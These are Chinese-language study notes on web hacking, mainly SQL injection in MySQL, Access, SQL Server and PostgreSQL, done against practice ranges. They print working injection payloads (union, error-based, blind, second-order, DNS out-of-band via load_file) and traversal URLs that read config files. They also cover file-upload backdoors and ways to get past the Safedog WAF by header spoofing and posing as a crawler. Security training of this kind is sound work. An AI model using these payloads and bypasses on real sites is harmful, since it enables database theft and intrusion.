Skip to content

SQL注入

一、Web漏洞基础

1、CTF,SRC,红蓝对抗,实战

1)漏洞危害情况

  1. 获取网站的数据库的权限(数据),后台账号和密码 --> SQL注入
  2. 直接获取网站权限 --> 文件上传

2)漏洞等级划分

  1. 高危:文件上传、SQL注入、代码执行、文件包含、未授权访问
  2. 中危:逻辑安全、目录遍历
  3. 低危:信息泄露 --> 源码、部分账号密码

3)漏洞重点内容

  1. CTF:SQL注入、反序列化、代码执行
  2. SRC:以上都有,逻辑安全 --> 0元购买
  3. 红蓝对抗:高危漏洞 --> 权限

4)漏洞形势问题

SQL注入网上没有;信息收集少;知识点不够;网站上确实没有此漏洞

2、SQL 注入漏洞

pikachu靶场:https://github.com/zhuifengshaonianhanlu/pikachu

phpstudy:https://www.xp.cn/

sql
id=1 and 1=1 union select username,password from users
php
if(isset($_POST['submit']) && $_POST['id']!=null){
    //这里没有做任何处理,直接拼到select里面去了,形成Sql注入
    $id=$_POST['id'];
    $query="select username,email from member where id=$id";
    $result=execute($link, $query);
    //这里如果用==1,会严格一点
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $username=$data['username'];
            $email=$data['email'];
            $html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>";
        }
    }else{
        $html.="<p class='notice'>您输入的user id不存在,请重新输入!</p>";
    }
}

3、目录遍历漏洞

需要源码白盒测试,了解网站目录

通过相对路径../访问父目录的文件

http://localhost:2560/pikachu/vul/dir/dir_list.php?title=../../../../index.php

文件路径的获取

  1. 扫描工具(御剑)获取
  2. 首页的源代码获取
  3. 找相应cms

4、文件上传漏洞

  1. 上传PHP文件:上传失败,只能是图片格式
  2. 将文件改为JPG格式上传:上传成功
  3. 通过路径提示访问文件的地址:访问失败
  4. 抓包修改,将ipg的数据包x.jpg改为x.php格式,发送
  5. 再次访问图片的地址:执行PHP脚本(也可以用菜刀留后门)

5、文件下载漏洞

通过改变浏览器路径来下载之前的dir.php文件

tex
http://localhost:2560/pikachu/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php

下载拿到数据库配置文件

二、数据库类型

1、MySQL

墨者靶场-MySQL:https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe

1)检测注入点

2)拆解列名数量(字段数)

order by 猜测数据表的id值的多少

tex
id=1 order by 4

3)报错拆解

sql
id=-1 union select 1,2,3,4

4)信息收集

数据库版本:version()

数据库名称:database()

数据库用户:user()

操作系统:@@version_compile_os

数据库版本:5.7.22-0ubuntu0.16.04.1

数据库名称:mozhe_Discuz_StormGroup

5)获取数据

在MySQL5.0以上的版本中,MySQL存在一个自带数据库名为:information_schema,它是一个存储有所有数据库名、表名、列名的数据库,也相当于可以通过查询他获取指定数据库下面的表面和列表信息。

数据库中符号“.”代表下一级,如xiaodi.user,表示xiaodi数据库下面的uesr表名。

  1. information_schema.tables:记录所有表名信息的表
  2. information_schema.columns:记录所有列名信息的表
  3. table_schema:数据库名
  4. table_name:表名
  5. column_name:列名
sql
id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

默认显示一个表,可以利用group_concat(table_name)显示出所以的表

sql
id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

sql
id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

sql
id=-1 union select 1,name,password,4 from StormGroup_member

6)解密拿Key

356f589a7df439f6f744ff19bb8092c0 --> dsan13

可能还存在其他账号,利用group_concat()再次查询

sql
id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member

32befa923d8b8e2e311fab16425e4f85 --> 301758

mozhe9bc92a5befb8ffc4c8327f0af8b

2、Access

Access: 表名/列名/数据---只能暴力猜解,数据库互不相干

MySQL等:数据库名/表名/列名/数据---高版本查看索引表

墨者靶场-Access:https://www.mozhe.cn/bug/Rm5aSU1PNjhHWTA3N1FFUk8vbXZKUT09bW96aGUmozhe

1)sqlmap查询数据库类型

shell
python sqlmap.py -u "http://219.153.49.228:44165/new_list.asp?id=1"

2)检测是否可以注入

and 1 = 1:正常

and 1 = 2:空白

3)猜解id的个数

4)检测注入点

Access无法检测,只能暴力猜解表名、列名、数据

猜解存在admin表,猜解admin表存在username列名和passwd列名

access注入猜解表名、列名失败:SQLmap字典

5)拿到key

MD5解密

登录后台

mozhe56ed60816ee2fe84a89b48e475c

3、Sql Server

利用软件:穿山甲pangolin扫描工具

墨者靶场-Sql Server:https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe

1)扫描

2)获取数据

3)md5解密

4)登录拿Key

mozheb054e7502e3d9461424830c9f0f

4、PostgreSQL

1)order by 猜解

2)注入点查询

注意加引号

3)爆库

sql
union select '1',(select current_database()),'3','4'

爆库原理

4)爆表/列名

sql
union select '1',relname,'3','4' from pg_stat_user_tables limit 1 offset 1

sql
union select'1',column_name,'3','4'  from information_schema.columns where table_name='reg_users' limit 1 offset 1-4---分别id、name、password

5)爆数据

sql
union select null,name||'::'||password,null,null from public.reg_users

三、参数类型与提交注入

1、明确参数类型

数字:id=1为数字型,int、float、double

字符:字符串必须要加上'

sql
/* 注入语句 */
?x=xiaodi and 1=1
/* 数据库查询语句 --> 注入失效 */
select * from user where name='xiaodi and 1=1';
/* 正确注入方式 */
?x=xiaodi' and 1='1
select * from user where name='xiaodi' and 1='1';

sql搜索

sql
select * from user where name like '%xiaodi%';

JSON:键值对

2、字符型注入

sqlilabs_Less-5

1)测试注入点

发现1=2并没有报错

2)字符注入

3)猜解id个数

4)注入查询

联合查询 --> 无回显

利用报错注入

sql
?id=' or (select 1 from(select count(*),concat ((select (select (select concat(0x7e,user(), 0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ' &password=123&sex=123&phonenum=123&email=123&submit=submit

3、提交注入

sqlilabs_Less-11

POST注入利用抓包工具

关于注释符号的使用

GET:#--+

POST:#--(空格)

url编码中+会变成空格

四、报错盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面(因为像insert、delete等查询语句即使执行成功,也不会回显。此外,网站的前端页面显示也会限制)。

我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

1、报错回显

0x7e为~(特殊字符),注入一般为注入工具通过正则表达式查找结果

Pikachu-insert注入

1)floor

sql
username=' or (select 1 from(select count(*),concat ((select (select (select concat(0x7e,user(), 0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ' &password=123&sex=123&phonenum=123&email=123&submit=submit

2)updatexml

sql
username=' or updatexml (1, concat (0x7e, (version ())), 0) or ' &password=123&sex=123&phonenum=123&email=123&submit=submit

3)extractvalue

sql
username=' or extractvalue(1,concat(0x7e, database())) or ' &password=123&sex=123&phonenum=123&email=123&submit=submit

2、延时盲注

sql
select * from member where id=1 and sleep(if(database()= 'a', 5,0));

成立延迟5s、不成立延迟0s --> 不需要回显

先获取数据库的长度(len),再猜解第一位,第二位,以此类推...(巨麻烦)

ascii码方便脚本遍历

sql
mid (a, b, c)	#从位置b开始,截取a字符串的c位
substr(a, b, c)	#从b位置开始,截取字符串a的c长度
left(database(),1), database()	#1eft(a.b)从左侧截取a的前b位
length(database())=8	#判断数据库database名的长度
ascii(x)=97		#判断x的ascii码是否等于97

延迟受到网络速度的局限,并不准确

3、布尔盲注

php
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}

特点:虽然$row无回显,但是$row进行了布尔判断

tex
/Less-5/?id=1' and length(database())>8--+
/Less-5/?id=1' and left(database(),1)=’se’--+

五、注入拓展

1、加解密注入

若参数加密,注入代码也要相应加密

php
<?php
$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee);
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
$result=mysql_query($sql);
?>

可以通过SalMap间接注入:利用file_get_contents函数

php
<?php
$url='http://rexhao.work?id=';
$payload=base64_encode($_GET['x']);
$urls=$url.$payload;
echo $urls;
echo file_get_contents($urls);
?>

使用sqlmap跑本地php文件,间接注入原网站

2、二次注入

应用场景:存在网站源码、代码审计

靶场:sqlilabs-less24

注册用户:admin'##

二次注入:修改密码为123456

结果:admin的密码被改成123456

sql
## SQL代码
UPDATE users SET PASSWORD='$new' where username='$un' and password='$old'

## 二次注入
UPDATE users SET PASSWORD='123456' where username='admin'#' and password='admin'

将用户名改成报错注入的代码

长度限制

前端(写在html中的):<input maxlength="2048" > --> 修改Maxlength

后端:无法突破

3、dnslog带外注入

1)手工注入

前提:需要文件读取 --> 需要高权限

将盲注的结果通过dns解析的方式发送到平台,以显示结果

利用ceye平台:http://ceye.io/

sql
select * from USER where id=1 and if((select load_file(concat('\\\\',(select version()),'.vhta15.ceye.io\test'))),1,0);

2)DnslogIng

Python2运行(上不去...摆烂了!)

下载:https://github.com/AD000/DnslogSqlinj

原理:工具生成dnslog代码

4、堆叠注入

堆叠注入:从名词的含义就可以看到应该是一堆sql 语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql 中,主要是命令行中,每一条语句结尾加; 表示语句结束。

堆叠注入的用法:

注入需要管理员的账号密码,密码是加密的,无法解密

堆叠注入在用户表中插入数据,用户密码自定义可以无需解密实施登录

六、waf绕过注入

1、常用waf

  1. 阿里云盾:阿里云服务器自带的防护软件
  2. 宝塔面板:很多小型网站都利用宝塔搭建
  3. 网站安全狗:免费

2、更换提交方式

采用post提交注入,网页可以显示,但是显示不正常:网站只能采用get方式接受,所以post的传参没有成功

POST提交应该用#注释

3、数据变异

有些语句,添加的某些特殊符号,并没有影响语句的执行效果。在waf绕过中,检测这些特殊符号干扰了检测机制(正则),从而绕过检测。

1)大小写/关键字替换

id=1 UnIoN/**/SeLeCT 1,user()

Hex() bin() 等价于 ascii()

Sleep() 等价于 benchmark()

Mid()substring() 等价于 substr()

@@user 等价于 User()

@@Version 等价于 version()

and=&

or=|

2)注释使用

sql
//
--
--+
#
/**/
:%00
/!**/

sql
/Less-2/?id=-1 union%23a%0Aselect 1,2,3;%23

%23 --> 换行

%0A --> #

a --> 阻止安全狗匹配

union a select 不会被安全狗屏蔽掉,但是多了a,需要用#a将a注释,然后换行,语句直接执行 union select 1,2,3#;

但是2021新版本安全狗也拦截了...

/*! select version(); */:代码也可以运行

3)再次循环

union --> uunionnion

4)特殊符号

4、参数污染

具体服务端处理方式如下:

Web服务器参数获取函数获取到的参数
PHP/Apache$_GET(“par”)Last
JSP/TomcatRequest.getParameter(“par”)First
Perl(CGI)/ApacheParam(“par”)First
Python/ApacheGetvalue(“par”)All(List)
ASP/IISRequest.QueryString(“par”)All(comma-delimited string)
sql
id=1/**&id=-1%20union%20select%201,2,3%23*/

安全狗匹配的和Apache接收的参数不同

5、fuzz(模糊/暴力测试)

对%0A进行猜解循环,如%0A;%0B; %0C; %0D; %0E等等,生成多种可能性,使得数据包的发送没有拦截软件,那条语句代码被认为绕过注入。

6、白名单

1)IP 白名单

从网络层获取的 ip,这种一般伪造不来,如果是获取客户端的 IP,这样就可能存在伪造 IP 绕过的情况。

测试方法:修改 http 的 header 来 bypass waf

tex
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip

2)静态资源

特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css 等等),类似白名单机制,waf 为了检测效率,不去检测这样一些静态文件名后缀的请求。

http://10.9.9.201/sql.php?id=1

http://10.9.9.201/sql.php/1.js?id=1

备注:Aspx/php 只识别到前面的.aspx/.php 后面基本不识别

3)url 白名单

为了防止误拦,部分 waf 内置默认的白名单列表,如 admin/manager/system 等管理后台。

只要 url中存在白名单的字符串,就作为白名单不进行检测

4)爬虫白名单

伪造成百度,搜狐,谷歌的爬虫进行访问,速度很快,可以通过Python脚本伪装成百度的爬虫

tex
Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

安全狗的ip白名单里的爬虫白名单里面有百度爬虫

7、SqlMap绕过

1)自定义tamper文件

shell
python sqlmap.py -u "http://xxx" -tamper=safedog.py

2)代理服务器

shell
python sqlmap.py -u "http://xxx" --proxy"=http://127.0.0.1:8080"

3)修改ua头

指定ua头

shell
python sqlmap.py -u "http://xxx" --random-agent --user-agent="Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)"

随机ua头

shell
python sqlmap.py -u "http://xxx" --random-agent

4)修改不支持修改的参数

  1. 中转脚本
  2. 将注入语句写入txt文件中,然后进行按行读取

Released under the MIT License.